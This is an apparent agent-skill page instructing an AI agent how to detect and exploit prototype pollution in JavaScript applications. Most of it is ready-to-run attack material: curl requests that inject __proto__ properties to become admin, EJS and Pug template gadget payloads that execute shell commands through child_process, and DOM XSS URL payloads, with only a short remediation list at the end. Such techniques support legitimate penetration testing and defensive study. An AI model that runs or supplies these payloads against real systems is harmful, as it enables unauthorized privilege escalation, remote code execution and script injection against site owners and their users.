Agent Skills: Exploiting Prototype Pollution in JavaScript

Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.

UncategorizedID: autohandai/community-skills/exploiting-prototype-pollution-in-javascript

Install this agent skill to your local

pnpm dlx add-skill https://github.com/autohandai/community-skills/tree/HEAD/exploiting-prototype-pollution-in-javascript

Skill Files

Browse the full folder contents for exploiting-prototype-pollution-in-javascript.

Download Skill

Loading file tree…

exploiting-prototype-pollution-in-javascript/SKILL.md

Skill Metadata

Name
exploiting-prototype-pollution-in-javascript
Description
Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.

Exploiting Prototype Pollution in JavaScript

When to Use

  • When testing Node.js or JavaScript-heavy web applications
  • During assessment of APIs accepting deep-merged JSON objects
  • When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
  • During code review of object merge/clone/extend operations
  • When evaluating npm packages for prototype pollution gadgets

Prerequisites

  • Burp Suite with DOM Invader extension for client-side prototype pollution detection
  • Node.js development environment for server-side testing
  • Understanding of JavaScript prototype chain and object inheritance
  • Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
  • Prototype Pollution Gadgets Scanner Burp extension for server-side detection
  • Browser developer console for client-side prototype manipulation

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Step 3 — Exploit Client-Side for DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Step 5 — Exploit for Authentication and Authorization Bypass

# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'

Step 6 — Detect with Automated Tools

# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

Key Concepts

| Concept | Description | |---------|-------------| | Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype | | proto | Accessor property that exposes the prototype of an object | | Pollution Source | Input point that allows setting properties on Object.prototype | | Pollution Sink | Code that reads a polluted property and performs a dangerous operation | | Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) | | Deep Merge | Recursive object merge functions that may process proto as a regular key | | constructor.prototype | Alternative path to access and pollute the prototype object |

Tools & Systems

| Tool | Purpose | |------|---------| | DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution | | Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection | | ppfuzz | Automated prototype pollution fuzzer | | Nuclei | Template-based scanner with prototype pollution templates | | server-side-prototype-pollution | Burp Scanner check for server-side detection | | ESLint security plugin | Static analysis for prototype pollution patterns in code |

Common Scenarios

  1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
  2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
  3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
  4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
  5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives

Output Format

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)